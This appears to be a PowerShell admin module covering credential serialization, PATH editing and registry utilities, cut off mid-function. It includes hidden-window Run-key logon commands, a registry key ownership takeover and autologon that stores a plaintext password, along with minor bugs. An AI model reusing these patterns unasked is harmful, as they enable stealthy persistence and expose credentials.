[switch] $ThisIsNotProductionCode,
[Parameter(Mandatory=$true, ParameterSetName='plain', HelpMessage="Ok, you're the boss.")]
[switch] $IKnowWhatIAmDoing
)
# Scriptblock to convert string to Base64 string.
$convertStringToBase64 = {
param($s)
$b = [System.Text.Encoding]::Default.GetBytes($s)
$utf8b = [System.Text.Encoding]::Convert([System.Text.Encoding]::Default, [System.Text.Encoding]::UTF8, $b)
$b64s = [convert]::ToBase64String($utf8b)
return $b64s
}
$result = @{}
$header = @{}
$username = $Credential.UserName
$secPassword = $Credential.Password
$encPassword = $null
switch ($PSCmdlet.ParameterSetName) {
dpapi {
$header.m = 'dpapi'
$encPassword = ConvertFrom-SecureString -SecureString $secPassword
}
dpapi.key {
$header.m = 'dpapi.key'
$convertArgs = @{
SecureString = $secPassword
UseDPAPIKey = $true
}
if ($PSBoundParameters.ContainsKey($Key)) {
$convertArgs.Key = $Key
}
$r = Export-SecureString @ConvertArgs
$result.Key = $r.Key
$encPassword = $r.String
}
x509.managed {
<#
Encrypt the credential using public key encryption via a X509 certificate found in Windows Certificate Store.
Headers:
- m: Method ('x509.managed')
- t: Thumbprint of the certificate used.
#>
$header.m = 'x509.managed'
$header.t = $Thumbprint
$encPassword = convertTo-CertificateSecuredString -SecureString $Credential.Password -Thumbprint $Thumbprint
}
plain {
$header.m = 'plain'
$encPassword = & $convertStringToBase64 (Unlock-SecureString $secPassword)
}
}
$headerString = $header | ConvertTo-Json -Compress
$credStr = @(
& $convertStringToBase64 $headerString
& $convertStringToBase64 $username
$encPassword
) -join ":"
if ($result.Count -eq 0) {
$result = $credStr
} else {
$result.CredentialString = $credStr
}
return $result
}
# END: source\credentials\ConvertFrom-PSCredential.ps1
# START: source\credentials\ConvertTo-PSCredential.ps1
<#
.SYNOPSIS
Converts a portable string representation of a PSCredential object back into a PSCredential Object.
.DESCRIPTION
Converts a portable string reprentation of a PSCredential object back into a PSCredential Object.
Most strings contain all the information required for decryption, so this Cmdlet does not expose many parameters.
.PARAMETER CredentialString
The string representation of the PSCredential object to restore.
.PARAMETER Key
A base64 key (256 bits) that should be used to decrypt the stored credential.
.OUTPUTS
[SecureString]
#>
function ConvertTo-PSCredential {
[CmdletBinding()]
param(
[Parameter(Mandatory=$true, ValueFromPipeline=$true, HelpMessage="String representation of the credential to restore.")]
[string]$CredentialString,
[Parameter(Mandatory=$false, HelpMessage="DPAPI key to use when decrypting the credential (256 bits, base64 encoded).")]
[string]$Key
)
$base64StrRegex = '[A-Za-z-0-9+\/]+={0,2}'
$credStringRegex = '^(?<h>{0}):(?<u>{0}):(?<p>{0})$' -f $base64StrRegex
$legacyCredStringRegex = '^(?<u>[^:]+):(?<p>{0})$' -f $base64StrRegex
switch -Regex ($CredentialString) {
$credStringRegex {
$fields = @{
header = $Matches.h
username = $Matches.u
password = $Matches.p
}
$headerBytes = [Convert]::FromBase64String($fields.header)
$headerString = [System.Text.Encoding]::UTF8.GetString($headerBytes)
try {
$header = ConvertFrom-Json $headerString -ErrorAction Stop
} catch {
$msg = "Failed to read header field: '{0}'" -f $headerString
$ex = New-Object System.Exception $msg $_.Exception
throw $ex
}
if ($header -isnot [PSCustomObject]) {
throw "Invalid header field format: $headerString"
}
if ($null -eq $header.m) {
throw "Missing method ('m') field in header field: $headerString"
}
$secPassword = switch ($header.m) {
dpapi {
# Implicit encryption using user credentials. This only works on Windows.
# Assumption: The string was produced using ConvertFrom-SecureString Cmdlet.
Import-SecureString -String $fields.password
}
dpapi.Key {
# Explicit encryption using DPAPI with a key (128, 192 or 256 bits). This only works on Windows.
# Assumption: The string was produced using ConvertFrom-PSCredential Cmdlet with the 'Key' parameter.
if (-not $PSBoundParameters.ContainsKey('Key')) {
throw "Credential is DPAPI key-encrypted, but no value provided for 'Key' parameter."
}
Import-SecureString -String $fields.password -DPAPIKey $Key
}
x509.managed {
# Explicit encryption using a X509 certificate found in the certificate store on this computer.
# NOTE: The private key associated with the certificate must be available, otherwise the decryption will fail.
if ($null -eq $header.t) {
$msg = "Unable to decrypt credential: Invalid credential string header. Method '{0}' specified but thumbprint is missing (no 't' field)" -f $_
throw $msg
}
try {
Import-SecureString -String $fields.password -Thumbprint $header.t -ErrorAction Stop
} catch {
$msg = "Failed to decrypt the credential using certificat (Thumbprint: {0}). See inner exception for details." -f $header.t
$ex = New-Object System.Exception $msg, $_.Exception
throw $ex
}
}
plain {
# Plain Text encyption, this is only available for debug/testing/demo purposes.
$passBytes = [Convert]::FromBase64String($fields.password)
$passString = [System.Text.Encoding]::UTF8.GetString($passBytes)
Import-SecureString -String $passString -NoEncryption
}
default {
$msg = "Unrecognized encryption method in credential header ('{0}'). This may indicate that you are using an out-dated version of the Cmdlet." -f $header.m
throw $msg
}
}
$userBytes = [Convert]::FromBase64String($fields.username)
$userString = [System.Text.Encoding]::UTF8.GetString($userBytes)
return New-PSCredential -Username $userString -SecurePassword $secPassword
}
$legacyCredStringRegex {
"Credential is serialized using legacy format. To avoid future complications, please reserialize the credential before storing it." | Write-Warning
$u = $Matches.u
$p = $Matches.p
$ConvertArgs = @{
String=$p
}
if ($key) {
$keyBytes = [System.Convert]::FromBase64String($key)
$ConvertArgs.Key = $keyBytes
}
$secPass = ConvertTo-SecureString @ConvertArgs
return New-PSCredential -Username $u -SecurePassword $secPass
}
default {
throw "Unrecognized credential string provided to ConvertTo-PSCredential: $CredentialString"
}
}
}
# END: source\credentials\ConvertTo-PSCredential.ps1
# START: source\credentials\New-PSCredential.ps1
<#
.SYNOPSIS
Creates a PSCredential.
.DESCRIPTION
Takes a Username and Password to create a PSCredential.
#>
function New-PSCredential{
[CmdletBinding(DefaultParameterSetName="ClearText")]
param(
[parameter(Mandatory=$true, position=1)][string] $Username,
[parameter(Mandatory=$true, position=2, ParameterSetName="ClearText")][string] $Password,
[parameter(Mandatory=$true, position=2, ParameterSetName="SecureString")][securestring]$SecurePassword
)
if ($PSCmdlet.ParameterSetName -eq "ClearText") {
$SecurePassword = ConvertTo-SecureString -String $Password -AsPlainText -Force
}
$cred = New-Object System.Management.Automation.PSCredential($username, $SecurePassword)
return $cred
}
# END: source\credentials\New-PSCredential.ps1
# START: source\credentials\Restore-PSCredential.ps1
<#
.SYNOPSIS
Restores a PSCredential saved to disk using the Save-PSCredential Cmdlet.
.PARAMETER Path
Path to the file containing the credential.
.PARAMETER Key
DPAPI key to use when decrypting the credential (256 bits, base64 encoded).
#>
function Restore-PSCredential {
[CmdletBinding()]
param(
[Parameter(Mandatory=$true, HelpMessage="Path to the file from which the credential should be loaded.")]
[String]$Path,
[Parameter(Mandatory=$false, HelpMessage="DPAPI key to use when decrypting the credential (256 bits, base64 encoded).")]
[string]$Key
)
$Path = Resolve-Path $path
$credStr = Get-Content -Path $path -Encoding UTF8
$convertArgs = @{
CredentialString = $credStr
}
if ($Key) {
$convertArgs.Key = $Key
}
return ConvertTo-PSCredential @convertArgs
}
# END: source\credentials\Restore-PSCredential.ps1
# START: source\credentials\Save-PSCredential.ps1
<#
.SYNOPSIS
Saves a PSCredential to disk as a DPAPI protected string.
.PARAMETER Path
Path to the file containing the credential.
.PARAMETER UseKey
Switch to signal that the Cmdlet should use a key when encypting the credentials.
.PARAMETER Key
A DPAPI key to use when encrypting the credential (256 bits, base64 encoded).
If this is not specified, a random 256 bit key will be generated.
#>
function Save-PSCredential{
[CmdletBinding()]
param(
[Parameter(Mandatory=$true, Position=1, HelpMessage="Path to the file where the credential should be stored.")]
[string] $Path,
[Parameter(Mandatory=$true, Position=2, ValueFromPipeline=$true, HelpMessage="Credential to store.")]
[PSCredential] $Credential,
[Parameter(Mandatory=$false, HelpMessage='Signals that the credential should be protected using a DPAPI key.')]
[switch] $UseKey,
[Parameter(Mandatory=$false, HelpMessage='A base64 encoded key (256 bits) to use when encrypting the credentials. If this parameter is not specified when the $UseKey switch is set, a random key will be generated.')]
[string] $Key
)
$convertArgs = @{
Credential = $Credential
}
if ($UseKey) {
$convertArgs.UseKey = $true
if ($PSBoundParameters.ContainsKey('Key')) {
$convertArgs.Key = $Key
}
}
$secCred = ConvertFrom-PSCredential @convertArgs
if ($UseKey) {
$secCred.CredentialString | Set-Content -Path $Path -Encoding UTF8
return $secCred.Key
} else {
$secCred | Set-Content -Path $Path -Encoding UTF8
}
}
# END: source\credentials\Save-PSCredential.ps1
# ACGCore.os
# START: source\os\Add-EnvironmentPath.ps1
function Add-EnvironmentPath {
[CmdletBinding()]
param(
[parameter(Mandatory=$true, Position=1, HelpMessage="The path to add to the Path environmental variable.")]
[string]$Path,
[parameter(Mandatory=$false, Position=2, HelpMessage="The type of environment variable to target.")]
[System.EnvironmentVariableTarget]$Target = [System.EnvironmentVariableTarget]::Process
)
$oldPath = [System.Environment]::GetEnvironmentVariable('Path', $Target)
$paths = if ($null -eq $oldPath) {
[string[]]@()
} else {
[string[]]$oldPath.split(';')
}
if ($paths -contains $Path) {
return
}
$newPath = ($paths + $Path) -join ";"
[System.Environment]::SetEnvironmentVariable('Path', $newPath, $Target)
}
# END: source\os\Add-EnvironmentPath.ps1
# START: source\os\Add-LogonOp.ps1
function Add-LogonOp{
param(
[string]$Name,
[string]$Operation,
[Switch]$RunOnce,
[Switch]$Details
)
$path = "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\"
if ($PSBoundParameters.ContainsKey("RunOnce")) {
$path += "RunOnce"
} else {
$path += "Run"
}
try {
$value = "Powershell -WindowStyle Hidden -Command $Operation"
$r = New-ItemProperty -Path $path -Name $Name -Value $value -Force -ErrorAction Stop
if ($Details) {
return $r
} else {
$true
}
} catch {
if ($Details) {
return $_
} else {
$false
}
}
}
# END: source\os\Add-LogonOp.ps1
# START: source\os\Get-EnvironmentPaths.ps1
function Get-EnvironmentPaths() {
[CmdletBinding()]
param(
[parameter(Mandatory=$false, Position=1, HelpMessage="The type of environment variable to retrieve.")]
[System.EnvironmentVariableTarget]$Target = [System.EnvironmentVariableTarget]::Process
)
$v = [System.Environment]::GetEnvironmentVariable('Path', $Target)
if ($null -ne $v) {
return $v.split(';')
} else {
return $null
}
}
# END: source\os\Get-EnvironmentPaths.ps1
# START: source\os\Get-RegValue.ps1
# Utility to acquire registry values using reg.exe (uses Invoke-ShoutOut)
function Get-RegValue($key, $name){
$regValueQVregex = "\s+{0}\s+(?<type>REG_[A-Z]+)\s+(?<value>.*)"
{ reg query $key /v $name } | Invoke-ShoutOut | Where-Object {
$_ -match ($regValueQVregex -f $name)
} | ForEach-Object {
$v = $Matches.value
switch($Matches.type) {
REG_QWORD {
$i64c = New-Object System.ComponentModel.Int64Converter
$v = $i64c.ConvertFrom($v)
}
REG_DWORD {
$i32c = New-Object System.ComponentModel.Int32Converter
$v = $i32c.ConvertFrom($v)
}
}
$v
}
}
# END: source\os\Get-RegValue.ps1
# START: source\os\Remove-EnvironmentPath.ps1
function Remove-EnvironmentPath {
[CmdletBinding()]
param(
[parameter(Mandatory=$true, Position=1, HelpMessage="The path to remove from the Path environmental variable.")]
[string]$Path,
[parameter(Mandatory=$false, Position=2, HelpMessage="The type of environment variable to target.")]
[System.EnvironmentVariableTarget]$Target = [System.EnvironmentVariableTarget]::Process
)
$oldPath = [System.Environment]::GetEnvironmentVariable('Path', $Target)
if ($null -eq $oldPath) { return }
$paths = [string[]]$oldPath.split(';')
if ($paths -contains $Path) {
$newPaths = $paths | Where-Object { $_ -ne $Path }
$newPath = $newPaths -join ';'
[System.Environment]::SetEnvironmentVariable('Path', $newPath, $Target)
}
}
# END: source\os\Remove-EnvironmentPath.ps1
# START: source\os\Remove-LogonOp.ps1
function Remove-LogonOp {
param(
[string]$name,
[Switch]$RunOnce,
[Switch]$Details
)
$path = "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\"
if ($PSBoundParameters.ContainsKey("RunOnce")) {
$path += "RunOnce"
} else {
$path += "Run"
}
try {
Remove-ItemProperty -Path $path -Name $name -Force -ErrorAction Stop | Out-Null
return $true
} catch {
if ($Details) {
return $_
} else {
return $false
}
}
}
# END: source\os\Remove-LogonOp.ps1
# START: source\os\Set-ProcessPrivilege.ps1
# Found as part of a script at:
# https://social.technet.microsoft.com/Forums/windowsserver/en-US/e718a560-2908-4b91-ad42-d392e7f8f1ad/take-ownership-of-a-registry-key-and-change-permissions?forum=winserverpowershell
# and cleaned up, to be more presentable.
if (! (Get-TypeData -TypeName "ProcessPrivilegeAdjustor") ) {
Add-Type -Path "$PSScriptRoot\.assets\ProcessPrivilegeAdjustor.cs"
}
function Set-ProcessPrivilege {
param(
## The privilege to adjust. This set is taken from
## http://msdn.microsoft.com/en-us/library/bb530716(VS.85).aspx
[ValidateSet(
"SeAssignPrimaryTokenPrivilege", "SeAuditPrivilege", "SeBackupPrivilege",
"SeChangeNotifyPrivilege", "SeCreateGlobalPrivilege", "SeCreatePagefilePrivilege",
"SeCreatePermanentPrivilege", "SeCreateSymbolicLinkPrivilege", "SeCreateTokenPrivilege",
"SeDebugPrivilege", "SeEnableDelegationPrivilege", "SeImpersonatePrivilege", "SeIncreaseBasePriorityPrivilege",
"SeIncreaseQuotaPrivilege", "SeIncreaseWorkingSetPrivilege", "SeLoadDriverPrivilege",
"SeLockMemoryPrivilege", "SeMachineAccountPrivilege", "SeManageVolumePrivilege",
"SeProfileSingleProcessPrivilege", "SeRelabelPrivilege", "SeRemoteShutdownPrivilege",
"SeRestorePrivilege", "SeSecurityPrivilege", "SeShutdownPrivilege", "SeSyncAgentPrivilege",
"SeSystemEnvironmentPrivilege", "SeSystemProfilePrivilege", "SeSystemtimePrivilege",
"SeTakeOwnershipPrivilege", "SeTcbPrivilege", "SeTimeZonePrivilege", "SeTrustedCredManAccessPrivilege",
"SeUndockPrivilege", "SeUnsolicitedInputPrivilege")]
$Privilege,
## The process on which to adjust the privilege. Defaults to the current process.
$ProcessId = $pid,
## Switch to disable the privilege, rather than enable it.
[Switch] $Disable
)
$processHandle = (Get-Process -id $ProcessId).Handle
[ProcessPrivilegeAdjustor]::SetPrivilege($processHandle, $Privilege, $Disable)
}
# END: source\os\Set-ProcessPrivilege.ps1
# START: source\os\Set-RegKeyOwner.ps1
<#
.SYNOPSIS
Grants ownership of the given registry key to the designated user (default is the current user).
.PARAMETER RegKey
The registry key to steal, can be specified with or without a root key (HKLM, HKCU, HKU, etc.).
if no root key is specified then the key is presumed to be under HKLM.
Root keys can be designated in their short form (e.g. HKLM, HKCU) or their full-length
form (e.g. HKEY_LOCAL_MACHINE, HKEY_CURRENT_USER).
Separating the root key by a colon (:) is optional. Both "HKLM\" and "HKLM:\" are valid
ways of designating the HKEY_LOCAL_MACHINE root key.
.PARAMETER User
The name of the user that should become the owner of the given registry key.
#>
function Set-RegKeyOwner {
param(
[parameter(Mandatory=$true, Position=1)][String]$RegKey,
[parameter(Mandatory=$false, position=2)][String]$User=[System.Security.Principal.WindowsIdentity]::GetCurrent().Name
)
Set-ProcessPrivilege SeTakeOwnershipPrivilege
$OriginalRegKey = $RegKey
$registry = $null
switch -regex ($RegKey) {
"^(HKEY_LOCAL_MACHINE|HKLM)(:)?[\\/]" {
$registry = [Microsoft.Win32.Registry]::LocalMachine
$RegKey = $RegKey -replace "^[^\\/]+[\\/]",""
}
"^(HKEY_CURRENT_USER|HKCU)(:)?[\\/]" {
$registry = [Microsoft.Win32.Registry]::CurrentUser
$RegKey = $RegKey -replace "^[^\\/]+[\\/]",""
}
"^(HKEY_USERS|HKU)(:)?[\\/]" {
$registry = [Microsoft.Win32.Registry]::Users
$RegKey = $RegKey -replace "^[^\\/]+[\\/]",""
}
"^(HKEY_CURRENT_CONFIG|HKCC)(:)?[\\/]" {
$registry = [Microsoft.Win32.Registry]::Users
$RegKey = $RegKey -replace "^[^\\/]+[\\/]",""
}
"^(HKEY_CLASSES_ROOT|HKCR)(:)?[\\/]" {
$registry = [Microsoft.Win32.Registry]::Users
$RegKey = $RegKey -replace "^[^\\/]+[\\/]",""
}
default {
$registry = [Microsoft.Win32.Registry]::LocalMachine
}
}
$key = { $registry.OpenSubKey(
$RegKey,
[Microsoft.Win32.RegistryKeyPermissionCheck]::ReadWriteSubTree,
[System.Security.AccessControl.RegistryRights]::takeownership
) } | Invoke-ShoutOut
if (!$key) {
shoutOut "Unable to find '$OriginalRegKey'" Red
return
}
# You must get a blank acl for the key b/c you do not currently have access
$acl = { $key.GetAccessControl([System.Security.AccessControl.AccessControlSections]::None) } | Invoke-ShoutOut
$me = [System.Security.Principal.NTAccount]$user
$acl.SetOwner($me)
{ $key.SetAccessControl($acl) } | Invoke-ShoutOut | Out-Null
# After you have set owner you need to get the acl with the perms so you can modify it.
$acl = { $key.GetAccessControl() } | Invoke-ShoutOut
$rule = New-Object System.Security.AccessControl.RegistryAccessRule ("BuiltIn\Administrators","FullControl","Allow")
{ $acl.SetAccessRule($rule) } | Invoke-ShoutOut | Out-Null
{ $key.SetAccessControl($acl) } | Invoke-ShoutOut | Out-Null
$key.Close()
shoutOut "Done!" Green
}
# END: source\os\Set-RegKeyOwner.ps1
# START: source\os\Set-RegValue.ps1
function Set-RegValue($key, $name, $value, $type=$null) {
if (!$type) {
if ($value -is [int16] -or $value -is [int32]) {
$type = "REG_DWORD"
} elseif ($value -is [int64]) {
$type = "REG_QWORD"
} else {
$type = "REG_SZ"
}
}
switch($type) {
"REG_SZ" {
{ reg add $key /f /v $name /t $type /d "$value" } | Invoke-ShoutOut
}
default {
{ reg add $key /f /v $name /t $type /d $value } | Invoke-ShoutOut
}
}
}
# END: source\os\Set-RegValue.ps1
# START: source\os\Set-WinAutoLogon.ps1
#Set-WinAutoLogon.ps1
function Set-WinAutoLogon {
[CmdletBinding()]
param(
[Parameter(Mandatory=$true, Position=1, ParameterSetName="Credential")]
[pscredential]$LogonCredential,
[Parameter(Mandatory=$true, Position=1, ParameterSetName="Params")]
[String]$Username,
[Parameter(Mandatory=$true, Position=2, ParameterSetName="Params")]
[SecureString]$Password,
[Parameter(Mandatory=$false, Position=3, ParameterSetName="Params")]
[String]$Domain=".",
[Parameter(Mandatory=$false)]
[int]$AutoLogonLimit=100000
)
$templatePath = "$PSScriptRoot\.assets\templates\winlogon.tmplt.reg"
$Values = $null
switch ($PSCmdlet.ParameterSetName) {
"Params" {
$values = @{
Username = $Username
Password = Unlock-SecureString $Password
Domain = $Domain
}
}
"Credential" {
$values = @{
Domain = "."
Password = Unlock-SecureString $LogonCredential.Password
}
$LogonCredential.UserName -match "((?<domain>.+)\\)?(?<username>.+)"
if ($matches.domain) {
$v.domain = $matches.domain
}
$v.Username = $matches.Username
}
}
$values.AutoLogonLimit = $AutoLogonLimit
$tmpFile = [System.IO.Path]::GetTempFileName()
Format-Template -TemplatePath $templatePath -Values $values > $tmpFile
reg import $tmpFile
Remove-Item $tmpFile
}
# END: source\os\Set-WinAutoLogon.ps1
# ACGCore.polyfills
# START: source\polyfills\Get-ItemPropertyValue.ps1
# Polyfill to ensure Get-ItemPropertyValue is available on older OS.
if (!(Get-Command "Get-ItemPropertyValue" -ErrorAction SilentlyContinue )) {
function Get-ItemPropertyValue {
[CmdletBinding()]
param(
[paramater(
Position=0,
ParameterSetName="Path",
Mandatory=$false,
ValueFromPipeLine=$true,
ValueFromPipelineByPropertyName=$true,
ValueFromRemainingArguments=$false,
DontShow=$false
)]
[ValidateNotNullOrEmpty()]
[string[]]$Path,
[paramater(
ParameterSetName="LiteralPath",
Mandatory=$true,
ValueFromPipeLine=$false,
ValueFromPipelineByPropertyName=$true,
ValueFromRemainingArguments=$false,
DontShow=$false
)]
[Alias('PSPath')]
[string[]]$LiteralPath,
[paramater(
Position=1,
Mandatory=$true,
ValueFromPipeLine=$false,
ValueFromPipelineByPropertyName=$false,
ValueFromRemainingArguments=$false,
DontShow=$false
)]
[Alias('PSProperty')]
[string[]]$Name,
[paramater(
Mandatory=$false,
ValueFromPipeLine=$false,
ValueFromPipelineByPropertyName=$false,
ValueFromRemainingArguments=$false,
DontShow=$false
)]
[string]$Filter,
[paramater(
Mandatory=$false,
ValueFromPipeLine=$false,
ValueFromPipelineByPropertyName=$false,
ValueFromRemainingArguments=$false,
DontShow=$false
)]
[string[]]$Include,
[paramater(
Mandatory=$false,
ValueFromPipeLine=$false,
ValueFromPipelineByPropertyName=$false,
ValueFromRemainingArguments=$false,
DontShow=$false
)]
[string[]]$Exclude,
[paramater(
Mandatory=$false,
ValueFromPipeLine=$false,
ValueFromPipelineByPropertyName=$true,
ValueFromRemainingArguments=$false,
DontShow=$false
)]
[Credential()]
[System.Management.Automation.PSCredential]$Credential
)
$params = $MyInvocation.Boundparameters
$r = Get-ItemProperty @params
foreach($n in $Name) {
$r.$n
}
}
}
# END: source\polyfills\Get-ItemPropertyValue.ps1
# ACGCore.securestrings
# START: source\securestrings\ConvertFrom-CertificateSecuredString.ps1
<#
.SYNOPSIS
Decryps a certificate-secured string and turns it into a SecureString.
.PARAMETER CertificateSecuredString
Certificate-secured string to convert into a SecureString.
.PARAMETER Certificate
Certificate with an associated private key should be used to decrypt the secured string.
.PARAMETER Thumbprint
Thumbprint of the certificate that should be used to decrypt the secured string.
#>
function ConvertFrom-CertificateSecuredString {
param(
[parameter(Mandatory=$true, ValueFromPipeline=$true, HelpMessage="Base64-encoded certificate-encrypted string to decrypt.")]
[ValidatePattern('[a-z0-9+\/=]+')]
[string]$CertificateSecuredString,
[parameter(Mandatory=$true, ParameterSetName="Certificate")]
[System.Security.Cryptography.X509Certificates.X509Certificate]$Certificate,
[parameter(Mandatory=$true, ParameterSetName="Thumbprint")]
[string]$Thumbprint
)
$privateKey = $null
switch ($PSCmdlet.ParameterSetName) {
Certificate {
# Verify that the certificate has a private key:
if (-not $Certificate.HasPrivateKey) {
$msg = "Unable to decrypt string. No private key available for the certificate used to encrypt the credential (thumbprint '{0}')." -f $Thumbprint
throw $msg
}
# Check if the private key is included in the certificate object:
if ($null -ne $Certificate.privateKey) {
$privateKey = $Certificate.privateKey.Key
break
}
# Check if we can find the associated private key:
try {
$privateKey = [System.Security.Cryptography.X509Certificates.RSACertificateExtensions]::GetRSAPrivateKey($Certificate)
} catch {
$msg = "Failed to find a private key for the provided certificate: SN={0},{1} (Thumbprint: '{0}')" -f $Certificate.SerialNumber, $Certificate.Issuer, $Certificate.Thumbprint
$ex = New-Object $msg $_.Exception
throw $ex
}
}
Thumbprint {
# Retrieve the certificate:
$cert = $null
try {
$cert = Get-ChildItem -Path 'Cert:\' -Recurse -ErrorAction Stop | Where-Object Thumbprint -eq $Thumbprint
} catch {
$msg = "Unexpected error while looking up the certificate (thumbprint '{0}')." -f $Thumbprint
$ex = New-Object $msg $_
throw $ex
}
# Verify that we found a certificate:
if ($null -eq $cert) {
$msg = "Failed to find the certificate (thumbprint '{0}')." -f $Thumbprint
throw $msg
}
# Verify that we retrieved only a single certificate:
if ($cert -is [array]) {
# Eliminate any certificat that does not have an associated private key:
$cert = $cert | Where-Object HasPrivateKey
# Verify that we still have at least 1:
if ($null -eq $cert) {
$msg = "No certificate with associated private key available for the thumbprint ('{0}')" -f $Thumbprint
throw $msg
}
# More than 1 certificate found.
# This should not pretty much never happen, unless the store contains duplicates of the same certificate.
# Verify that they are the same certificate:
$cert = $cert | Sort-Object { "Cert={1}, {0}" -f $_.Issuer, $_.SerialNumber } -Unique
if ($cert -is [array]) {
$msg = "More than 1 certificate found for the thumbprint ('{0}')." -f $Thumbprint
throw $msg
}
}
# Verify that the certificate has an associated private key:
if (-not $cert.HasPrivateKey) {
$msg = "Unable to decrypt string. No private key available for the certificate used to encrypt the credential (thumbprint '{0}')." -f $Thumbprint
throw $msg
}
$privateKey = [System.Security.Cryptography.X509Certificates.RSACertificateExtensions]::GetRSAPrivateKey($cert)
}
default {
$msg = "Unknown ParameterSet ('{0}'). This shouldn't happen, but indicates that someone has pushed buggy/incomplete code." -f $PSCmdlet.ParameterSetName
throw $msg
}
}
if ($null -eq $privateKey) {
$msg = "Failed to retrieve the private key for the specified certificate (thumbprint '{0}')." -f $Thumbprint
throw $msg
}
$encBytes = [convert]::FromBase64String($CertificateSecuredString)
$plainBytes = $privateKey.Decrypt($encBytes, [System.Security.Cryptography.RSAEncryptionPadding]::Pkcs1)
$plainString = [System.Text.Encoding]::Default.GetString($plainBytes)
Remove-Variable 'plainBytes'
$secString = ConvertTo-SecureString -String $plainString -AsPlainText -Force
Remove-Variable 'plainString'
return $secString
}
# END: source\securestrings\ConvertFrom-CertificateSecuredString.ps1
# START: source\securestrings\ConvertTo-CertificateSecuredString.ps1
<#
.SYNOPSIS
Transforms a SecureString to a certificate-secured string.
.PARAMETER SecureString
The SecureString to convert.
.PARAMETER Certificate
A X509 certificate object that should be used to encrypt the string.
.PARAMETER Thumbprint
The thumbprint of a certificate to use when encrypting the string.
The Cmdlet will look in the entire store for a certificate with the given thumbprint.
If more than 1 certificate is found with the thumbprint, the Cmdlet will verify that they
are in fact duplicate copies of the same certificate by check that they have the same Issuer
and Serial Number.
If more than 1 certificate are found to have the same thumbprint this Cmdlet will throw
an exception.
WARNING: You will need to use the private key associated with the certificate to
decrypt the string. This Cmdlet does not check if the private key is available.
.PARAMETER CertificateFilePath
Path to an existing file containing a DER-encoded certificate to use when encoding the string.
#>
function ConvertTo-CertificateSecuredString {
[CmdletBinding()]
param(
[Parameter(Mandatory=$true, Position=1, ValueFromPipeline=$true)]
[securestring]$SecureString,
[parameter(Mandatory=$true, Position=2, ParameterSetName="Certificate")]
[System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate,
[parameter(Mandatory=$true, Position=2, ParameterSetName="Thumbprint")]
[string]$Thumbprint,
[Parameter(Mandatory=$true, ParameterSetName="CertificateFilePath")]
[string]$CertificateFilePath
)
$pubKey = switch ($PSCmdlet.ParameterSetName) {
Certificate {
$Certificate.publicKey.Key
}
Thumbprint {
# Retrieve the certificate:
$cert = $null
try {
$cert = Get-ChildItem -Path 'Cert:\' -Recurse -ErrorAction Stop | Where-Object Thumbprint -eq $Thumbprint
} catch {
$msg = "Unexpected error while looking up the certificate ('{0}')." -f $Thumbprint
$ex = New-Object $msg $_
throw $ex
}
# Verify that we found a certificate:
if ($null -eq $cert) {
$msg = "Failed to find the certificate ('{0}')." -f $Thumbprint
throw $msg
}
# Verify that we retrieved only a single certificate:
if ($cert -is [array]) {
# More than 1 certificate found.
# This should not pretty much never happen, unless the store contains duplicates of the same certificate.
# Verify that they are the same certificate:
$cert = $cert | Sort-Object { "Cert={1}, {0}" -f $_.Issuer, $_.SerialNumber } -Unique
if ($cert -is [array]) {
$msg = "More than 1 certificate found for the thumbprint ('{0}')." -f $Thumbprint
throw $msg
}
}
$cert.PublicKey.Key
}
CertificateFilePath {
Try {
$cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2 $CertificateFilePath -ErrorAction Stop
} catch {
$msg = "Failed to load the specified certificate file ('{0}')." -f $CertificateFilePath
$ex = New-Object System.Exception $msg $_.Exception
throw $ex
}
$cert.PublicKey.Key
}
}
# Unlock the securestring and turn it into a byte array:
$plain = Unlock-SecureString -SecString $SecureString
$plainBytes = [System.Text.Encoding]::Default.GetBytes($plain)
Remove-Variable 'plain'
# Use the public key to encrypt the byte array:
$encBytes = $pubKey.encrypt($plainBytes, [System.Security.Cryptography.RSAEncryptionPadding]::Pkcs1)
Remove-Variable 'plainBytes'
# Convert the encrypted byte array to Bas64 string:
$encString = [convert]::ToBase64String($encBytes)
return $encString
}
# END: source\securestrings\ConvertTo-CertificateSecuredString.ps1
# START: source\securestrings\Export-SecureString.ps1
<#
.SYNOPSIS
Takes a protected SecureString and exports it to a portable format as an encrypted string (can also exort as a plaintext string).
#>
function Export-SecureString {
[CmdletBinding(DefaultParameterSetName="dpapi")]
param(
[Parameter(Mandatory=$true, ValueFromPipeline=$true, Position=1)]
[Alias('SecString')]
[ValidateNotNull()]
[securestring]$SecureString,
[Parameter(Mandatory=$true, ParameterSetName='dpapi.key', HelpMessage='Signals that the credential should be protected using a DPAPI key.')]
[Alias('UseKey')]
[switch] $UseDPAPIKey,
[Parameter(Mandatory=$false, ParameterSetName='dpapi.key', HelpMessage='A base64 encoded key (128, 192 or 256 bits) to use when encrypting the string. If this parameter is not specified when the $UseKey switch is set, a random 256 bit key will be generated.')]
[ValidateScript({
# Verify that this is a valid Base64 string:
$base64Pattern = "^[a-z0-9+\/\r\n]+={0,2}$"
if ($_.Length % 4 -ne 0) {
$msg = "Invalid base64 string provided as Key: string length should be evenly divisble by 4, current string length mod 4 is {0} ('{1}')" -f ($_.Length % 4), $_
throw $msg
}
if ($_ -notmatch $base64Pattern) {
$msg = "Invalid base64 string provided as Key: '{0}' contains invalid charactes." -f $_
throw $msg
}
return $true
})]
[Alias('Key')]
[string] $DPAPIKey,
[Parameter(Mandatory=$true, ParameterSetName='x509.unmanaged', HelpMessage='Certificate that should be used to encrypt the resulting string.')]
[System.Security.Cryptography.X509Certificates.X509Certificate] $Certificate,
[Parameter(Mandatory=$true, ParameterSetName='x509.managed', HelpMessage='Thumbprint of the certificate that should be used to encrypt the resulting string. Warning: you will need the corresponding private key to decrypt the string.')]
[string] $Thumbprint,
[Parameter(Mandatory=$true, ParameterSetName='plain', HelpMessage='Disable encryption, causing the plain text be base64 encoded.')]
[switch] $NoEncryption
)
switch ($PSCmdlet.ParameterSetName) {
dpapi {
return ConvertFrom-SecureString -SecureString $SecureString
}
dpapi.key {
$convertArgs = @{
SecureString = $SecureString
}
if ($PSBoundParameters.ContainsKey('Key')) {
$bytes = [System.Convert]::FromBase64String($Key)
if ($bytes.count -notin 16, 24, 32) {
$msg = "Invalid key provided for SecureString export: expected a Base64 string convertable to a 16, 24 or 32 byte array (found a string convertible to {0} bytes)." -f $bytes.Count
throw $msg
}
} else {
$r = $script:__RNG
